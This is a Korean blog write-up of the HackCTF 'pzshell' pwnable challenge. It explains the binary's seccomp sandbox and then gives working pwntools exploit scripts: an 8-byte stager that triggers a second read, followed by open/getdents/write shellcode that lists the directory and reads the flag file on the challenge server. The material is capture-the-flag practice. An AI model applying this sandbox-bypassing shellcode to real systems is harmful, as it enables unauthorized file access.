tmxklab
[HackCTF/Pwnable] pzshell 본문
1. 문제
nc ctf.j0n9hyun.xyz 3038
1) mitigation
2) 문제 확인
[pzshell.c]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
void sandbox(void)
{
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL)
{
write(1, "seccomp error\n", 15);
exit(-1);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
if (seccomp_load(ctx) < 0)
{
seccomp_release(ctx);
write(1, "seccomp error\n", 15);
exit(-2);
}
seccomp_release(ctx);
}
void Init(void)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
char s[0x10];
char result[0x100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB\x48\x31\xC9\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31\xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D\x31\xF6\x4D\x31\xFF\x66\xbe\xf1\xde";
char filter[2] = {'\x0f', '\x05'};
Init();
read(0, s, 8);
for (int i = 0; i < 2; i ++)
{
if (strchr(s, filter[i]))
{
puts("filtering :)");
exit(1);
}
}
strcat(result, s);
sandbox();
(*(void (*)()) result + 2)();
}
3) 코드흐름 파악
3-1) 전체적인 코드 흐름
result변수에 저장된 값 확인
→ 인스트럭션은 이전에 풀었던 ezshell과 비슷
→ ezshell과 2가지 차이가 존재하는데 rdx는 초기화 시키지 않으며 마지막에 "mov si, 0xdef1"이 존재
→ "mov si, 0xdef1"는 뒤에서 보면 필요한 인스트럭션임
그리고 filter변수에는 "\x0f"와 "\x05"가 들어있는 것을 확인 ("syscall")
이전에 풀었던 ezshell과 비슷하게 s변수에 8bytes까지 입력을 받고 s변수에 syscall("\x0f\x05")인스트럭션이 있는지 필터링을 한 후에 result변수와 s변수의 문자열을 합친다.
→ 임의의 데이터 8bytes를 s변수에 저장한 후 strcat수행 이후에 result에 저장된 값 확인
하지만, sandbox함수를 수행한 후에 쉘 코드를 실행한다.
3-2) sandbox함수 코드 흐름
여기서 처음보는 코드들을 볼 수 있다.
바로 seccomp.h라이브러리 함수들인 seccomp으로 시작하는 함수들이다.
void sandbox(void)
{
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL)
{
write(1, "seccomp error\n", 15);
exit(-1);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
if (seccomp_load(ctx) < 0)
{
seccomp_release(ctx);
write(1, "seccomp error\n", 15);
exit(-2);
}
seccomp_release(ctx);
}
참고 사이트)
($man seccomp을 통해서도 확인할 수 있음)
scmp_filter_ctx seccomp_init(uint32_t def_action);
설명)
→ 필터 상태를 초기화 시켜주는 함수
→ 기본 동작은 def_action에 의해 설정됨
→ 필터 구성을 마치고 커널에 로드하면 seccomp_release함수를 호출하여 모든 필터 상태를 해제해야 함.
→ SCMP_ACT_ALLOW : 필터 규칙과 일치하는 경우 호출하는 스레드에 영향을 미치지 않음
int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...);
설명)
→ 현재 seccomp필터에 새 필터 규칙을 추가
→ 규칙을 추가한다 해서 seccomp_load함수를 호출하기 전까지는 적용되지 않음
→ SCMP_ACT_KILL : 필터 규칙과 일치하는 syscall을 호출할 때 커널에 의해 종료됨
int seccomp_load(scmp_filter_ctx ctx);
설명)
→ 설정한 필터 규칙을 커널에 로드하여 필터를 활성화시킴
void seccomp_release(scmp_filter_ctx ctx);
설명)
→ 필터 상태를 해제하고 연관된 메모리를 해제
+) seccomp(secure_computing mode) 추가설명
→ 리눅스에서 sandbox기반으로 시스템 콜을 허용 및 차단하여 공격의 가능성을 막는 리눅스 보안 메커니즘
→ seccomp은 프로세스가 exit(), sigreturn(), 그리고 이미 열린 파일 디스크립터에 대한 read(), write()를 제외한 어떠한 시스템 호출도 일으킬 수 없는 안전한 상태로 일방햔 변환을 할 수 있게 한다.
이제 위 sandbox함수의 기능을 간략히 설명하면,,,,
① seccomp_init함수를 통해 필터 상태를 모두 허용으로 해둔다.(초기화)
② seccomp_rul_add함수를 통해 다음 syscall(fork, vfork, clone, ...)이 발생하면 종료시킨다. (필터 규칙 추가)
③ seccomp_load함수를 통해 커널에 로드하여 필터 규칙을 활성화 시킨다.(필터 규칙 활성화)
④ seccomp_releas함수를 통해 필터 규칙을 해제한다.(필터 규칙 해제)
즉, 쉘 코드를 실행하기전에 sandbox에서 필터링이 된다.
2. 접근방법
seccomp에서 설정한 필터 규칙에 따라 syscall(execve)를 실행할 수 없으므로 쉘 권한을 딸 수가 없다.
우리는 flag파일을 찾아서 읽는 파일 내용을 읽는 것이 목적이므로 사실상 쉘 권한을 따지 않고 다른 방법을 이용하기로 한다.
1) flag파일 찾기 - sys_getdents(), sys_open()
1-1) sys_open()
sys_open을 사용하는 이유는 sys_getdents에서 파일 디스크립터가 필요하기 때문이다.
참고)
→ 리눅스에서는 모두 파일로 관리한다.(디렉토리든 뭐든간에)
→ 그리고 파일들을 접근할 때 필요한 값이 파일 디스크립터이다.
→ 따라서, filename에 경로를 입력하여 파일 디스크립터를 구하여 getdents에 사용할 것이다.
int open(const char *FILENAME, int FLAGS[, mode_t MODE]);
$rax | $rdi | $rsi | $rdx |
2 | *filename | flags | mode |
1-2) sys_getdents()
flag파일을 찾기 위해서 "ls"명령어와 비슷한 동작을 하도록 getdents함수를 사용하기로 한다.
getdents함수는 fd가 가리키는 디렉토리에 존재하는 파일들을 구하여 DIR*이 가리키는 메모리 공간(dirent변수)에 저장한다.
int getdends(unsigned int fd, struct dirent* dirent, unsigned int count);
$rax | $rdi | $rsi | $rdx |
78 | fd | dirent | count |
(count는 메모리 공간 크기이며 많은 정보를 저장하기 위해서는 엄청 큰 값을 넣으면 될 것 같다.)
정리)
→ open하고 나면 fd값이 나옴
→ fd값을 sys_getdents의 fd로 사용
→ dirent는 buf값이며 buf값에 스택 주소 값이 저장되고 현재 지정한 디렉토리에 관련한 정보들 전부 포함됨
2) 파일 내용 읽고 출력하기
위 과정을 거쳐 flag파일을 찾으면 read()와 write()를 이용하여 화면에 출력하도록 한다.(자세한 설명은 생략)
3-1) 문제점 - read함수의 버퍼 크기(8bytes)
pzshell에서 result변수에 붙혀질 s변수를 받는 입력 값은 8bytes이다.
8bytes만으로 내가 원하는 쉘 코드를 작성할 수 없기에 여기서 한 번더 read함수를 호출하도록 한다.
read.asm)
global _start
section .text
_start:
jmp short shellcode
shellcode:
push rbp
mov rbp, rsp
sub rsp, 0x140
lea rsi, [rbp-0x120]
mov edx, 0x100
mov edi, 0x0
xor rax, rax
syscall
위 어셈 코드에서 불필요한 인스트럭션을 제외하고 코드를 작성하여 byte수를 계산
(syscall은 필터링이 되므로 ezshell과 동일하게 syscall이 존재하는 주소로 jmp하는 어셈 코드를 추가 작성)
총 14bytes가 나온다. → 탈락(총 8bytes만 받을 수 있으므로)
이제 존나게 고민을 해봐야 한다... 후
3-2) 해결방법 - read함수의 버퍼 크기(8bytes)
근데 sys_read를 call하기 위해서 필요한 인자는 rax, rdi, rsi, rdx 총 4가지이다.
$rax | $rdi | $rsi | $rdx |
0 | 0 | buf | size |
(rax : 0x0, rdi : 0x0, rsi : buf(주소 값), rdx : size)
그러나 벗! B.U.T rdx에는 스택 주소 값이 존재하며 rsi에는 "0xdef1"이 존재
따라서, rsi와 rdx를 서로 교환만해주고 syscall만 해주면 sys_read가 실행된다.
→ 다행히 딱 8bytes된다.
실행 전)
실행 후)
임의의 값을 넣자 syscall 이후의 인스트럭션이 바뀌게 된다.
read를 통해 읽을 수 있는 사이즈는 "def1"bytes이므로 거의 사이즈 제한에 신경쓰지 않고 쉘 코드를 입력할 수 있다.
(참고로 gdb.attach()사용할 때 "aslr=Fasle"로 주면 무한 루프가 된다. 이유는 모르겠다.... 이것때매 2시간 날라갓음)
정리)
① rsi와 rdx를 서로 교환해주고 result변수의 syscall로 분기
② read함수가 다시 실행되면서 result변수에 원하는 쉘 코드 작성 가능
③ open함수를 통해 경로를 입력하여 파일 디스크립터 값 구하는 쉘 코드 작성
③ sys_getdents를 통해 파일을 찾는 쉘 코드 작성(이 때, open에서 구한 파일 디스크립터 값을 이용)
④ flag경로를 찾았으면 read, write함수를 통해 파일의 내용을 출력하는 쉘 코드 작성
3. 풀이
1) sys_getdents를 통해 flag관련 파일 찾기
sys_getdents를 수행하면 dirents에 모든 파일 및 디렉토리의 정보들이 담겨져 있지만 우리가 필요한 것은 name이므로 name값만 전부 가져올 수 있도록 코딩을 한다.
참고 : https://www.man7.org/linux/man-pages/man2/getdents.2.html
위 사이트에서 코드를 조금 수정하여 다음과 같이 작성하였다.
#define _GNU_SOURCE
#include <dirent.h> /* Defines DT_* constants */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <string.h>
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
struct linux_dirent {
unsigned long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[];
};
#define BUF_SIZE 1024
int main(int argc, char *argv[])
{
int fd, nread, bpos;
char buf[BUF_SIZE], d_type;
struct linux_dirent *d;
fd = open(".", 0);
nread = syscall(SYS_getdents, fd, buf, BUF_SIZE);
for (bpos = 0; bpos < nread;) {
d = (struct linux_dirent *) (buf + bpos);
//write(1, d->d_name, strlen(d->d_name));
//write(1, d->d_name, 10);
printf("%s ", d->d_name);
bpos += d->d_reclen;
}
return 0;
}
실행 후)
이제 디버깅을 통해 필요한 어셈 코드만 가져오도록 한다.
(참고로 printf는 사용할 수 없으므로 write함수를 사용하여 출력)
익스 코드(open + getdents + write) - ls와 비슷한 동작을 하는 코드
from pwn import *
context(log_level="DEBUG", arch = "amd64", os = "linux")
#p = process("./pzshell")
p = remote("ctf.j0n9hyun.xyz", 3038)
#gdb.attach(p, """b*0x555555554ea0""")
#gdb.attach(p)
# 1. sys_read(0, result, 0xdef1)
p1 = asm("xchg rsi, rdx")
p1 += asm("jmp 0xffffffffffffffcb", vma=0x1)
p.send(p1)
log.info("[1] sys_read -> Success ")
# 2. sys_open - Get File Discripter
p2 = asm("xor rdx, rdx")
p2 += asm("mov rsp, QWORD PTR fs:[rdx]")
p2 += asm("mov rbp, rsp")
p2 += asm("sub rsp, 0x440")
p2 += asm("xor rbx, rbx")
p2 += asm("xor rsi, rsi")
p2 += asm("mov ebx, 0x2e") # 0x2e = "."
p2 += asm("push rbx")
p2 += asm("push rsp")
p2 += asm("pop rdi")
p2 += asm("mov al, 0x2")
p2 += asm("syscall")
# 3. sys_getdents - Get Directory Info
p2 += asm("mov DWORD PTR [rbp-0x420], eax")
p2 += asm("mov edx, 0x400")
p2 += asm("lea rsi, [rbp-0x410]")
p2 += asm("mov edi, DWORD PTR [rbp-0x420]")
p2 += asm("mov al, 0x4e")
p2 += asm("syscall")
# 4. Setting
p2 += asm("mov DWORD PTR [rbp-0x41c], eax")
p2 += asm("mov DWORD PTR [rbp-0x424], 0x0")
# 5. jump Destination
p2 += asm("mov eax,DWORD PTR [rbp-0x424]")
p2 += asm("cdqe")
p2 += asm("lea rdx,[rbp-0x410]")
p2 += asm("add rax,rdx")
p2 += asm("mov QWORD PTR [rbp-0x418],rax")
p2 += asm("mov rax,QWORD PTR [rbp-0x418]")
p2 += asm("add rax,0x12")
# 6. write - All Print(File Name)
p2 += asm("mov edx,0x10")
p2 += asm("mov rsi,rax")
p2 += asm("mov edi,0x1")
p2 += asm("xor rax, rax")
p2 += asm("mov al, 0x1")
p2 += asm("syscall")
p2 += asm("mov rax,QWORD PTR [rbp-0x418]")
p2 += asm("movzx eax,WORD PTR [rax+0x10]")
p2 += asm("movzx eax,ax")
p2 += asm("add DWORD PTR [rbp-0x424],eax")
p2 += asm("mov eax,DWORD PTR [rbp-0x424]")
p2 += asm("cmp eax,DWORD PTR [rbp-0x41c]")
# 7. Jump -> # 5.
p2 += asm("jl 0xffffffffffffffa9", vma=0x1)
p.send(p2)
p.interactive()
먼저 현재 디렉토리에 대한 정보를 가져오기 위해 "."를 입력
어셈 코드 짜서 현재 디렉터리에 있는 파일들 조사
현재 디렉터리에 대한 정보에서 이름이 몇 개 출력되는 것을 볼 수 있다.
("..", ".", "S3cr3t_F14g", "main")
그중에서 좀 수상해보이는 파일 이름인 "S3cr3t_F14g" 이 보인다.
이제 저 파일을 한번 열어보자
2) sys_read, write를 통해 파일에 대한 내용 출력하기
파일 내용을 출력하는 쉘 코드
from pwn import *
context(log_level="DEBUG", arch = "amd64", os = "linux")
#p = process("./pzshell")
p = remote("ctf.j0n9hyun.xyz", 3038)
#gdb.attach(p, """b*0x555555554ea0""")
#gdb.attach(p)
# 1. sys_read(0, result, 0xdef1)
p1 = asm("xchg rsi, rdx")
p1 += asm("jmp 0xffffffffffffffcb", vma=0x1)
p.send(p1)
log.info("[1] sys_read -> Success ")
# 2. Generate stack
p2 = asm("xor rdx, rdx")
p2 += asm("mov rsp, QWORD PTR fs:[rdx]")
p2 += asm("mov rbp, rsp")
p2 += asm("sub rsp, 0x440")
# 3. "S3cr3t_F14g" push
p2 += asm("movabs rbx, 0x673431")
p2 += asm("push rbx")
p2 += asm("movabs rbx, 0x465f743372633353")
p2 += asm("push rbx")
p2 += asm("push rsp")
p2 += asm("pop rdi")
# 4. sys_open -> Get "S3cr3t_F14g" File Dicripter
p2 += asm("xor rbx, rbx")
p2 += asm("xor rsi, rsi")
p2 += asm("mov rdi, rsp")
p2 += asm("mov al, 0x2")
p2 += asm("syscall")
# 5. read(fd, buf[rbp-0x400], size); -> Store File contents
p2 += asm("mov rdx, 40")
p2 += asm("lea rsi, [rbp-0x400]")
p2 += asm("mov rdi, rax")
p2 += asm("xor rax, rax")
p2 += asm("syscall")
# 6. write(1, buf[rbp-0x400], size); -> Print File Contents
p2 += asm("mov edx,0x20")
p2 += asm("lea rsi, [rbp-0x400]")
p2 += asm("mov edi, 0x1")
p2 += asm("xor rax, rax")
p2 += asm("mov al, 0x1")
p2 += asm("syscall")
p.send(p2)
p.interactive()
실행결과)
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] you_are_silver (0) | 2020.06.30 |
---|---|
[HackCTF/Pwnable] Pwning (2) | 2020.06.23 |
[HackCTF/Pwnable] ezshell (0) | 2020.06.11 |
[HackCTF/Pwnable] Gift (0) | 2020.05.18 |
[HackCTF/Pwnable] Look at me (0) | 2020.03.07 |